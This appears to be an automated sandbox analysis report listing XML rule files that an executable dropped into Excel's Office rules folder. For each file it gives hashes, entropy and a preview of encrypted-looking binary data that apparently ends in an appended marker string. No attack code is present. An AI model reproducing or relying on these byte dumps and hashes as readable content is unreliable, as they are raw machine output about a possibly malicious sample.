Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.687061873170306
Encrypted:	false
SSDEEP:	12:48IPt6SsJGGSOG6V5QdKRAMUDZkFvF2/kDbs0XM1PDI965c03snf/qUQnNNPJZiq:48SgSsJtSOG6V5QdoiyF4/kDgVQ6C03x
MD5:	8AE793EC2FA7B59C3FCA9332C701F857
SHA1:	2C2E9043A756A5CB2265DC091FC28FC226AF69BF
SHA-256:	02C2A1F906E984FDBB572C5EDF6F0F0DD820E603138538E276102CC55D5B7CE7
SHA-512:	CABB2104C9D195E8C7AF2C4C82C111A5ABBFF38B847C4EFBC0D32622E053D730F971CB2AC31FD95E353C7801FAFC416C6AD98FC13FBDE30E88E538A1C8738B11
Malicious:	false
Preview:	<?xmlE......+..x.....&....;..u...x..e.2..N.wz.....?..\|N.....?. ...@...n.Yo....d.1ljpDH..H...rDdUq....4.3c.C.....X..xyz.]Q.i..n)y.5BO........".....Y..`.UK..{.y.V..\....5..`.E}....Z^..../..0..s....y...z.....T...E.{%..)....m...0>F.m.nz.......r...3.#q..&(...Aa...X.x.....C..2@.....=..&E+Y$......ud....2.[....`.N.....<9vp....O......{..Y..'~t.}...Y...hQ..AR.....I%...jQY.f..=VH.B..1d%.R..`.^.8...c#.jFCZSl...t....Ba.\Z...xD.Q@...k/....y..N5.../.`}.-.0...V.zQy..iF+.._.URc..>.i)...a..(..<....v.y..V.h/{.3....Vb`D...?.b.z....W.e...8Hr.\|9.z..J.7.=]Eb^..>O...8..q..z..*..F.+...6..".;M.O..n.....rvOo..>-4_D.R........0."...........7;d.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490002v13.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	7.860428846175155
Encrypted:	false
SSDEEP:	24:tV2oqPD0uSC6JcoUuaKBIG62i14CJWxLCi7fUVgVgy6Knge+I/26NC3JZiTkbD:ioq70uaJ/UQBIV2iIrfUVgVgy7getlQt
MD5:	E530B7DF35F9A6E91A02784C7F94EF11
SHA1:	9B72487CB232B06AC4E952546CC2A4432BA80D2D
SHA-256:	F22FF06F898B2E210A8222EC1AB1F4F1CFEE2CD86CBF152428CCFB131F4E2AF1
SHA-512:	A165584F44E9EF22ED439C155ACED2785CD3D9E7B5657CCC781A709EE1BD14F9F82943EC4DA418105F4951A0D84BDD5F4A7EA66D319A61E3F78F6CF63357B710
Malicious:	false
Preview:	<?xml^........\.v]O..M76..#...LU.....s4+...v...%VbP.w...rR....l.z...X.......u.-a...O.]8.F%...WO.H....T..<...P<K....,!..85X3+.......V.C...b).........%.P.E.".=.A.C:... .."0.<u..j..s....7.c......-....z@I!.....~.x..T....p.#.^.8......E.={.....,....L.....At..s.g.....F1p.N.:.b'9..e...I{....b.....W_..\.l...L.i.O.z..!...&5..# "...X-}..y.....O.F...+..Gs.\j.#L.R.........YRv'6$V4s.0.'..x.Q...VY..d+b..G.n6... 4M1.:......dYs.'....,].......T./vP.c.N>jU...@...yv..%.GT..9..3..ta....cXd 6.r$.\.S....+.@&...J7...../...b...]....6+..v..vH;0k..T.`...dM...I...~}.{....L@F..e.z_+.O.-...]=.......\|.....<:....n#.w).4.^K.gl.K-08(.. ..3j"...S....P.G..hS\|.Z.~..*.#..nQ.X..RR.Y&...v.\|..pj[....@z...\4..D.h.'...Q...`.....}f.a[..:M...........%.bv.......k.Q..P^..^....37.)...24.}.=f..w.%T....'.#g/X\;_..Qu:.....qO.dE.@.{..<7.}.7Na}D.............,.........0..<.."nJ.K......s...b0.C........k!m.G.........C..(.v."].....Y..t..........i.......RK.........^".....4.;.z...&...^.9{..#...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490003v7.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	7.804087291205587
Encrypted:	false
SSDEEP:	24:DQ1J3ZlvECnZ4WRqI4yX3XP4KX2GaXGPhdZeHiTkbD:DUpZXh3w22Ga2HZziD
MD5:	F4BB0832A337FEB998C8DAC73C3514AD
SHA1:	975E7DF243C30A91C3674CE1017A34FAA9352790
SHA-256:	A9494846C955CA9274CCFE3C9A26AC8392DC0836F3CC217DB7DDE164909D9406
SHA-512:	E05988718539B7330DD9F55D394867BE7B60E1FF1AD36E1B35BBEA1B7243455C3CA826E7251E414E48AA7C6BA238B793240B857E13E6E54E7B96D1F95A5B6359
Malicious:	false
Preview:	<?xml...L..A..._..?gx.M....I.......x...'.Z..`L`k..2.lIa.l.}]..L.....j.H..d.j..X\|.b..B.oss...C.d.....a.T{Z=..%vE..~.Pm..........zVK.X...e.h9....#..U.<W....a.+....A.(..c............suv..6....[.9...m.$....X`.N..."V...........<i>b.....'.....Am.....gtk....g.i.r......J.Ki....d._..T.5..r...&......Msi.....^..oz.....A.;Zqn&.a.Ce...)n.R...L...kv,..._..c..b.m.#...\.......T...#`..M.t...%..g...@..`......!.....=u...~...j.&:...o.B.......W..............B...e.....:.K(..1E.0...R..h.7..W^..}._q...e........r.;...sx...7..Xw...,.x>.L...34...oR....O.._s....O....F.q.u..I..a..T....K.z.M..3...\|..RH..by..K&L..}.....H.Y.i.wTp.K=\|..*.6...........>.p...pG.,LE.1.......SF..1......../.z............]..:...w4..@.-....LJ]..A.ok...+UJ4..}.......q..l..D.9.e..#.L..R.z.....#..~:_......s.....^."L.J...G.^:?....)i..\|5.....^...4[......B.......o..X"B.AU............VoFE..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490004v5.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.78995328014754
Encrypted:	false
SSDEEP:	24:+ygUbEFCz/e9V/s1d9WR8T1o9X0tr9paeIUNPfJcfEiTkbD:+yvne9Cd9WR8T1o9Xi9UfefJmiD
MD5:	0184A8C5069BC6D479C02093C8F0A8CB
SHA1:	EE70E87DA7BA9DF316DE02CE33FA8EBEE7D1E75B
SHA-256:	8594D6709A028E00D3180064E2E55B1C9676318C575817637ECB57FADE668D7F
SHA-512:	7820D47190860CADBD8232101DCF9D137710CC197FCD937BBB48751A4D1F190FB13EAC24FEA7D5DBAFD918852690AF21067662AC73A8BD8FC7E5258FCCB86E9F
Malicious:	false
Preview:	<?xml..X..0.u..\.....2G..H.[..2.k...l....5..[e......p..8..s1.... d...mn......E/.......i...p..;.;j...V...DX.h.9........}wI.O...P.)..1...(..K...@(.,h..=..8...i........[.P.....f-..!.w.o....9......p.Y..{...........s..z'.Z....n..8).v..V.f>..#..4$...t.I.S`=....r.\|...'..-.oN'.....{..=\..\e#..&.FKg5...W...X..Z.~...I...-.-.Z.Ig.6'.82.\|..^R...J..R.t..$.JK..FOZc."y..s[VF..........}...{....yG.aU./..l....HR.<(..,.<...M.a.0....lus.Wc.j.-...[f.....Y.3>U.........4N..UC....b.\#..}Z.&..3.h~...7....... C[+#.....)..p...S..#E...g.'....w.R.d=.....g`.s(.W..p..M...M......s.........I...hU.ux.[....B.B.....x........xv..g....x...`K.p^...f..u...k.[hr.*....n.>.}.:.. ...Lf..]..@\N.Q.......w.q.T8.Q2..nNf..+...>.4b...cwO;a.."..@...\|fO\|3W..l..}!..q..l.?....r_o..V...X....(7...e..v.S.....$.ll."...B......Dows..l.4..c7.K.........+).........-J.1.6G.:Q....X..]..4T......Y;/k....a..<.)..EH.k.6r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490005v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	7.814514208133934
Encrypted:	false
SSDEEP:	24:idXSyYNRC4bM2r1bWkF8eGo0ULkCdH1RmyeKUPe6iGJViTkbD:cSy+Car1aWGo0ULkgHXmyeKdXiD
MD5:	27F1D853B2E9DD18D0E63AC2A1F35959
SHA1:	3DC90A9501F9D94857603F7DD8439EA00908DEC8
SHA-256:	85440BB3A59F06C1B3FEC65A697ADF6488A6FA5183163C03F83AFB8F5F03118E
SHA-512:	71AE0C18714CF5204745440C07076FAF9D5EFF00082CAC1F490DCAF51A61D4B86EECCE41A8DD217CE9A4A8FE3A56CC1C9490854BC9C26376826DF7C53F26E834
Malicious:	false
Preview:	<?xml,.....S....Dd..t....C....v;.A.B.D..._..P.rU..........@.&....]w./.!.U.5.....q.c.E'...B.t..H....N..d4...8>.%.e..UY...F....5.&..Oc6.=.-;.....K.....}O./.rN...O..\|..HK.#.....g..a.^<!._..a.Dg.K..%"VT.a..j.8...!....f./....)k...i.R..L...a..7....&.w..L..rF}..a./......Wah.....h...E.R...../..CH2..U....D.P ..5J..M.E..w.DK..v&...45...y#.\.ISP.S.N.....M8$...].^U]..P..GB..=.....,Yd.Y....6...W.lA.R). K..X.`h.x..3.k..xDo...6...)............[kr.L.A..l...[.....+.t.N...q.?]X....3gX......Gn{..t\.K....u/.V.;U....7........V.G..ft.>..HSn...R........+....<.sQ;b.Oa..v......wz. "I.}9..y.9.,e.#u..q...f..r"J.7.7UT.~}e........B.z.-X.u.."......q.70i......1......2...d..`m..[.J..<..j..7...(...)C...a. y...T.n.z............T..O/....E.....g..$..T.&_o..n.....jQ.:.2..1......`cyzO.x.gT.vn..&. oDi....Hw&.O.b....N.....Z.+.w...6%.8.F....z....bK]....A.=#U....0....x...l.^..Qg...}(.d.. `.I..(.........V.w.t..w{..5..."..C\r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490009v5.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1453
Entropy (8bit):	7.864090025962789
Encrypted:	false
SSDEEP:	24:XKOi0el3NIJSC4NPNgI2mTA6be3bR21oHfO7l3bmvrzyuZ++diTkbD:Xk0el3No4hN6b6belMqglrmzzyw0iD
MD5:	0781BFA087D6EF033594B76B20447C68
SHA1:	DB65E1B930F1DA9A775FDADBC46B2E24A02973A3
SHA-256:	FA826E9E1ACAF2B4B09B27DD49857FA6D8ECB96B4C28EE93720F1658072CECFA
SHA-512:	4FE3BD268B7DBF783DF7214EAD09487A05F6910FDB7578D9B3D698E690CE31888E74341B5EF41BC1417569F5777D388872C58D039C17A8877A3594CC93B774A9
Malicious:	false
Preview:	<?xml.L167..A2y...D...<.+.Q....-.E....j+f.....W.ILI).TG.u.h0.).x.]..y....d.6.qz.5,...._........TO.....).s.p^.A.Qm..#4.....3.2#GI...~b1...U.........Q\S.~.........}$ox.^..#B.7T./.\|?..Km..^B.....h.`..T.nz^.IO...-f.a...:u..G....1....r....l].M..$U.........k....2..b..G...^#.1.<.9......G...Q.R..t".q...Ws6.&>..,......Y........i.I.R.....Y\|...t.-..U.. .fC.[...R..e.6.....;>Z...Dx..Yr.6....R.WT?...Ss.C.K>.../..V5..#.0.......\.....c..v..#....[....tv.j......dJ..........m\|.`).$9A.u....HQ..`....7..[03h&y...l.@f.ax..z..a.iWw.,x...m:...<.O.......EP9.n[.H:....1.dy......(..].Z......._......D$q.>....'..SAji..)~9........w.23Q.c.N..=\|..qCw..@.os4.\&zl..\x.(..8..(..Fa.;.2......&...OR.B.....c.*..#.....)sY&.....\|..;...K+e..M]p...3...FT,..R...fC........4....K!.\|..J..k..l..\|)2.../.....O.\|...V+.m..XQW-}.\|w&S.W.n......01/q.. of.d....U(S."X...QB.%l@.W.s..@]..v6./.....q.!.+c.x.Z.....x....2.%CK.F..8.H..u...k^....HE.3aD....x.AI(G..#.v......M..YA...w.p....aG^....V'u.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490010v7.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	7.872749076991189
Encrypted:	false
SSDEEP:	24:JA2Aq4CA20yA43BgrOib8q1ln63u57XljMYFnY5pf71EkRuQTUjviTkbD:WqLAqA4mrOiR1l1MYFY5tzRRiD
MD5:	FE20E78076C4E1D099711BB404ACB157
SHA1:	14995EEBBF1560686DFED645DDE9329482A36E16
SHA-256:	298420A7C06066CD63DD5EE3BBE81BCB49D1FDF917EE5FC2A5327A28F1D3825E
SHA-512:	6B65B3DDAEA3C4CDB09C3175AD4CD8F850FF18F662A5A70442B5E429CB1E9984DC7D51168AFDC7B0DFA0482A68D1F5FD5E8161F4B32B5F0EB1D5C2F7C83A7943
Malicious:	false
Preview:	<?xml.o..+...A..].+).x.,H'.f...(1..$..B...WMq..k..G.>.H.)..2../...A.A..EY..O.......t ..E.H.V@..F....b....v.\|..\h...}........v..v,.y).?.......5."....e....U.Zw............6{xc.&.......+...&v..3.}.:s.ME.W......Q.".R#....W.....v2{..dHT..FD.v.a..M...^...O.H...p.x.....y{.Rg.z.....Y.M.O.1Dd..r.k~s.4vd&.......G....)j#...gt..?..s:..E.D.p...{.,i.......1>........2. I...q.\..b0.....+0s(p'6.......<...!P.d....O..`iX$..:.zW....{..4.u4...+...u.w..@.>..\.....&,.u5..Wu..?]t5H.Jt..^.....6.6..f../.kWq...>[..1e>F.#.j...M.[(...V~.....f...%.!..Z...>.w.rj..(.e.....!{..N.to.Y/_...l/....j....=.=..........%.....zt..`....,...-.v...<\^.}..A....m.....@.....+u?c.....q../(..5...*~a.j....i[...?.....p.9...N!.mX{p....h..t....$.&N.jw...d].G.Z...._.!f.$...Qt..7.\.{'..7wo=;.!.xp[}..zq.g..p^);..[U.c..\......;.k!U..:....! .6r....j...!0[....EDd..&..".N.X.11<.K.)...Z...-HPcv.4..HZ.<.U.bV...T.-(..laQc....].,H8Z.m....Uk.C....Q._.a...\.6\|.....]...?.../k..}dU)3.o..I.m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490011v4.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	856
Entropy (8bit):	7.7337468721081235
Encrypted:	false
SSDEEP:	24:qZL9Q90M1vfUYPHuLpVwzmgvVK4CSGirMPTp1FN7iTkbD:qrQ90M1v5dmmVKvSrcpPNuiD
MD5:	A15F57E514F6EE7F9D3D1A27B9F84226
SHA1:	5D8E64E8900218E42384D59184C38E11E0D12BEB
SHA-256:	14BFFCCAC45CB1C05493C8C1BF93547D105C61C0A241C589BA8795DFE5DEA089
SHA-512:	02D18EDE27A720C6DDF1D6CF933C6100175F5CDB438ECDB2A92CDF0364F6699C1D5F4600B6FE25B1D642D2B858E37352FCE01445FAB63BA85F68C6486D8C67F8
Malicious:	false
Preview:	<?xml....&...0..?_.g.D4.a6..k.....!..b...B@R....eQl.........@.Iy.F.5..a.&<..K.......i...T /......)h...5H..d....0\|j..}.[.c.J........xF,\.~..;..X...bIM.b../..k.G.....W\`K;..<..ifK..g.... G..B.[.....\|;.V.....0....q@E..e..\.[.........v..W...}X.Y..td........\c3.I..%>..8ch......z(.m.jFfy#`.3V5..I.......e.......kz.(..^bX......Z.DWv.~..L...P.].R0....V.9.....*0.Qx.(.v..c...6z.s`..r..cDO..y.K..@.~..A3.G......c...`^W...<.s..>..4K:.....-...`...EmC_.s...A19&.2o8i2....J......<.q%Us....C....".v3..Q..fv.5;`q1..b~..k........g."2,...J.C..scq..~...m.) .". ......YPwa4..^.,.....'.....X..hC.[.;&...T..>j RxP..7..g)..38.+......X.M+..^....;..h.....\.w.-rf...A.... ....-.h.j.Y..\|.]o)LxIC......y:{....G$.....,\|5.]_.a....i ....F...s"..`.'...w....]....>.h...U#r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490014v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	7.808171576517426
Encrypted:	false
SSDEEP:	24:BTcrcYZOOH5wE5cQusui0IT41HA+1KSgIQ5KJ9ftvJMTDP6iTkbD:BTcrcYrwE53oIT41HA+USycJ3QPviD
MD5:	F756958EAD96C1447541E4593A939653
SHA1:	59636DFF6018879569446FA2829229766A475794
SHA-256:	B92D1BB517B0CBD39ECE7B4316928D126FECD05F13FEA4D71D7EE88EAF11E45A
SHA-512:	4B12A48FDF3C009CA59A6F490920AF904CF38CC4C180B50A5C2334C4185F810A8BA330A65B56F752D4816390A75B51A4EC37FE0195BA6B807C2A6656634B6776
Malicious:	false
Preview:	<?xml$f.S......M-.F..!)....'1K...wkSm".. .c5e.F...UC..0.....#..].w...#C.Nq#V..3...?.C/..-..8!.Ms.0...d...).6.#..YM.#o.n!.e'...~.X.q.)U..F.../"..z~..o........ML\|.a.}.GV.'1.......p.5...R.;.l.f.`.`2-......._u...?LE.._.8.. \|.....X".[ZtB4....DE'.v....U....:{+G..X.dKPf.}\...)....[......B....w.x.;l.....f.$#..b.QK.^8V.M..l<e%2.z ...=s..yJo.a>B.. 6Q...^...}.u.wFI.lI".FtPB.;......U....$..%.Fi...Z.gD.er..R..Av.b..j...p.....C...+<...S395..bPk.!.T.?jFG.X.....<3......L@.:...@..>.X...Vv.."s....<.yN.2.&.....l.`xH....3.?..PA1..Y.8.4.....QP...Z0&...S.D..G....).C.&..{(..I.t..-8].pQ-q.)dq..G+...G.,...........f.c.$.....(....E.......=..^....o.7..6.....8H.$N....lFrO....}l3..5.;B.......6&k~.mlJ....O ..X$p.NL.H........H.,.,.(o.\..D...Ci.#.&@.T3:?...>......,..M]../meL....so9*.H.z..0gr.W....4p....I..................Bb.M..N@.K..!y..`.[....-boHvU......TS..`.U..}.....\|....g...t.....te.v.........8'.>.Q5a..$.$]vbf...J..h..0q..).k=.fx.k9...r?.\.6D..\|._.....`.u,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	924
Entropy (8bit):	7.772102900788748
Encrypted:	false
SSDEEP:	24:GaUBgpOuNYmjI0/AYdNTqxLWO6OyvvnBM859qfLHfiTkbD:ugpOuNYmjX/hNTqxLuPn6ZL6iD
MD5:	8AB346D5681A065227B98EDE32AAEC1D
SHA1:	8323786B3D42266A023D9A16B443A1304D7E9CDF
SHA-256:	AE50B69E0E129DCB18900FF9EA04C19E593B3D7051941AD12647031176E7A7B4
SHA-512:	040E99F4786B3FD80947D094A31174629EA956148932B396422CEEB27D5B8E48349892DFD7000D63CAADB021F2FE0837595EBC758E9922DE4BB87A567623C9F8
Malicious:	false
Preview:	<?xmln..f....y......u,..~V8.B.ib......9f....Y.....:.k..Q[...c.A.qI[......Oa......@..L.......v.>2...#3.Fs-.<!..p..,...v.=n.-.zj.:..b."....:...C.........../'...;..y...,.(..4.s5.F.........lc.0.!...y..B...G.`.0......\.=xfB..lv#:...5.e....w...%.u.O..Z....y&.qp.c..s.?..n.Z..ta..w(L^...~...}.......g..'.....e.m....1....x&..d.P-.....;...'.#.6.a....z..m....8j..V<..9m..Q/W3r@....s....~..V.......Z.g...~....6+1..N.6'.Rn.D..p.!>"..o.... .7M=r.y....Y.K[s$p/....;..J......&...........(...-.0.K.E.Q..V=....$H..x........,.?r.?.....E...H`2.o[......e\|c.u......^F...;..B..e..j\'im....C#jK.y...y..A.>!.W.r.G..@..;..c..}..\|..._..V.+6..P.... d....%..Rwm. ..8....Tq..\|L.z8+@..z4,....i.)B.z...UMY..U.4.VR[..Q@.....2[....7...}....[5....>.zsj.......@6.#....[$...7..&r.c.f.......c..?........M.....0j...c.........Cr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.772536597039438
Encrypted:	false
SSDEEP:	24:3kJADmYabuVoQvy+QPsaXhU5In5xeOjALXIw7gTjiTkbD:3kJACXioQvJXaXyWxngKWiD
MD5:	2DDB30A9B15A327C146E93B040906843
SHA1:	C28E96D0D03F39B6C08160ECF2F50DF9ABCC459B
SHA-256:	7B341E6B9F98EB410AA4B47367A021D848770508239325CAD5FAB4203BE49475
SHA-512:	F6CD4604CA3F8B95B719E131BB6C915D048D20ACBB2000649C306312BBDEA1A974C1ACE1BAFB8E00570B11EB832B4BF4B01A0BA160D02DAC54B43CDFDEED9E8C
Malicious:	false
Preview:	<?xml!=X#0.4-.C.....r5<.iRO..V\..(.\|....6g...-..,...+..M7.}-.}.i.0<.z..6.Y.........K.>._.....]g.!m..... ...\.>..q..^....}.\|.]4..n.....EvEB5.........s...[.-/...].wJ.......Z.................j..L.!...A.`?..7............4..>..~.YQ.?..m..1..z....V.....b..T.+.Z....x&G...vy.fk....d...PL.@.....A...rXI"n.Bn..i,..]...<Z_7....c..v.Z..Qm..M...G.m?..X..-Td..-A.6]..}.\..0.\...\|.xd.DB.."9.......o.8J.H....).....!ti.....Yj`.Uv&.y....6..V.=..s..hC...-.x....d`IK2n'....7..m.s.8..j..:...R).W=G..E...........x......0t.bv.>.h. .5.P..i...>.h....8P/'0t..B.+/..#./.........z^og.0...2......Wg....N.h.0.k..!..7^.......]T1ea.6....4...h.Ud. .....E.R...Ho..p.......Fv....".0...q.W.E..Km....W.7.....8Y"2,......POS4.j...L.E...I.d....#........QM.......8....x....I.D...N/....'.l...%.i..\....d[......LB......>&..=5&..k..+...}....i.-....5...F.,.5DN......Va.O..zA.z.}...9^%m...n..p.&...:.-..g.f@j..V..._]\.EV+..~.qY7.<m...I.....ij.t$^.F.=>....5W..;$.r.1E....R...WcB.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v4.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.81464357221976
Encrypted:	false
SSDEEP:	24:PMAJ4jeXcLECX5S5EBZoAE3c5QKljATUmRxZkEkZxiTkbD:PMAkeXcLECX5eEJEm9jATrUZQiD
MD5:	D1C3D4A8324E4863D7155763B20255E4
SHA1:	AF370DC99946F7D6216C15004790824A048BF488
SHA-256:	7223A894D6BD401ADC41242CA4B4AA2E8D96E76AE553868D2F7E1B8E81E127E6
SHA-512:	AC9C573CA9812E92D2A02797C98449580DD8C814AE3140A57B09A633368047313C3B62704466932F2D6BE5628BCFFF0649156D39EE5297ABBCC491E51D52875F
Malicious:	false
Preview:	<?xml".x...."..}...T..P. .<......oV...B....q:.98cW/.,.Xw.!.$..R,a.M.}..hQP"i.UU....%..I.V-.d.o..!.9.R......j%W<"....y.9.c.Q...>.{..v}.CMG..;0...m..'.kOJ...q..S...v....ILs$.F......{\U.._..x........:.k5.. ..o.%.:..Y.j......... .+j..pl^>h.rd.Z.(..[..4b...qj...j2..r....C.;.HzE.j$.i..+..s..O.....7Z.z,.O...)....T..1..IH............K.=..N...R"t...-#..!....W...'.Lu.....B...........s2.Nz#.^G..v...DPFp.......H<..=37o.......u...wl..K..g...I.......!.-v_...G.X...h..w.[.qn.Ji..b...T'H'..#'..U.z.\......'.xzF....nmh..E.~....b...U......t......#i.,.....d........&.....M.8S.w..l.c..Zr..M.!J...yZLdJ.....<I.f?..`.0f...A.'...K..8.2.Z.{..........s.Bj}o.6ZT.f.x}..1A{..'D..Q7...b...>B/X..K5.....'.j...v,f#C....3[....g.........C>.y..T/...Zz.QW+.....p.o......a....B.S.n.3..yH...]..;..Y.(!..l.......a...X2.E.vl...C).jd......:..W...."....G...\|..@[".B5,...^l....q.-......,.^...v.e.u.a......R@.....K.C....S.....I.uy(......X......9e.Q ..#..=.ez....)'....O.j.v...N.._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v5.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	7.80114845600531
Encrypted:	false
SSDEEP:	24:EMvoiJNBT1UigjCFysD5HFQg8rURqQ6eGldYTvYcxGYXiTkbD:xoaTWHWFyOl7vFlGldwOiD
MD5:	267D6A489077012F2826EB20F01546C6
SHA1:	B05FB45AB080CC9B1A5DFF897A90DEDA8ACE86D9
SHA-256:	729F4808FAB0BFF7417D94C88D54F02476DBF86259B9ED16058C32308E7E70BA
SHA-512:	22A5C6E605EBE23A22329403997D1868503A9CACB888727B25256C4CBD6679CEFCD11C578EE3EB6D80A030717DDF0749414280E927BADC11351BF795F81B90C8
Malicious:	false
Preview:	<?xml....`v.h.D.)..- ..(]..z.......C..9!.G....B...O.Db...Q...Y].Yw...XCq..w.{.l5.I.=..\.`w.?j`..B.\.a....<61..\|#..&.F>..-.jl..Xfm.._...C.fsQ... Xx[.PXy.+.70.17.Ul.".Bq[.V......iuk....z.KI-S...y5......bXF.<..T....~l.D.&..d...\|s..qs......!.\|!..5.y..AD...4.<b.vF K.[\|...)..n.!.~.......8B...._.....n.I..@....6.)T..:O........Q..d.E..7{..o...2..........M....N...Kx...w.....s...8...7\|~5.r>.:H..qTbv...ZI.:F.v.$....iX.g..l.....nM...H.}.l./W.3I..B~U........%...Cg..H.....-...Q..n+.i.%.K.s.MT.?.M.../.q.V...x.t.!....F. .=.%L..VM.C.nf.{>...}.j.L.>..._Z..ZU.U........TR.%u..V..}......2....^..Oz..x.+<..jt.....f........J.pnA..x...)..d.p..sY....<....%.TY.G...h@.s.?...7.*.Oj......A......Ye..S.p. ..A.U6...&J.....ub...C.FH...... ..G...<!2.X.h.@......E..A.....S`H.&................C5.K......m.IDh...[....!.G....C0@V..GL...O.g...h...K$p.......?b..2'..P.]..e...p.....9.zZ.=..ei.fE1.1..fd3..a..;..H....P.#V..q?.I...........'.`+.....q.I.q.=...Q...5....x.>...FA

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490018v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.758130608814479
Encrypted:	false
SSDEEP:	24:1JmvRpGp3Zu3XLe9ErbNzFv7xtk2ObsSdiTkbD:1kTRnyqrbBjtkvgS0iD
MD5:	A8C34A5A4B6C52FECE28B263E37FEF85
SHA1:	32234854AB7B4D78764BBFFB2301AFA3CC15EFAD
SHA-256:	2200AF320E3AE7534D159352B1137E17F4BCB0C1D27C2D33FBFAE2658689271D
SHA-512:	EE879D217AF25656F415D456235DF7BC3C3258411FF17B015EEA92F9E22626A847B2CDCF87A017D33672DA78AAC0E0E63E27287CFE2C8EBCA2BC91F90668D710
Malicious:	false
Preview:	<?xml.U....o.^^...A./.l%.] .`..2...r.h..[;I,..%....,.......r..Q...@..uF....Y.s?.]..OLm.....&..%Z..S...v.suR'8....5.;.O.wS....G]p...X2..u.~5.I...7...rh.9..M.....eN..6....C.sJ..e......~ ....pE...1.....j......8..ic8.j}5/&u..$l.'.H.6........M.....r'.5.Hk.Oe';...8.....".qk.rY..D...>.G.......n-l....x(.s.b .........\|.......y..Q..8..J..p.P.hcxU....>....~2\|..l.O.'.N...IQ..['..~p...slaX..`....71.......v..c2.B.y..m<.....h.\..6#...u..._u;.=....67...8..g.....x...~..@...1..6YKvt..:.F......~...l)..^f...z.9.Q.]....qC83..z%.....n.z..Q@...........M...4.?.@....}.#..hN]..bb...........y........5j.}E.P-.6....+.:.(4.fX..f.O0...Y..S.'..B$.'....Il..N.c.t..........$.r .Y....V1J....1..vb.D.........q4..2...Dy..4........q....['.._..>.~.Q.k....t..D........b(.8.#..:...z.0..J.F~u....cm..s......(.z...>.V.4.k}.......({....l.XH.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490020v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.833701038199933
Encrypted:	false
SSDEEP:	24:7c1ny/Vrg1dGRoaUJs98CCGwU4CnhNL4ZL5eFnOCRNdebK/3aMBLIU9qiTkbD:wEdguRbT2CCGwU4CnhNU5eMIDN/KM79S
MD5:	546DE9F894C006A25F8ECD71AB54DED5
SHA1:	003F354EB06656EA522D1839323D8CC8990AFEDD
SHA-256:	AD43E4624EC16147616686B21C7A17AFF022DA6B119D376FAA4631B8077F15BC
SHA-512:	B72E4D52576EAB782928A72B6C8DCB9FCA99D28A14E4F2D3C8E61A21645D901E37AAED00E9B87CE5256CFA33B48B23EA40D28B7ED96CDD35814AAEF2B2FA1383
Malicious:	false
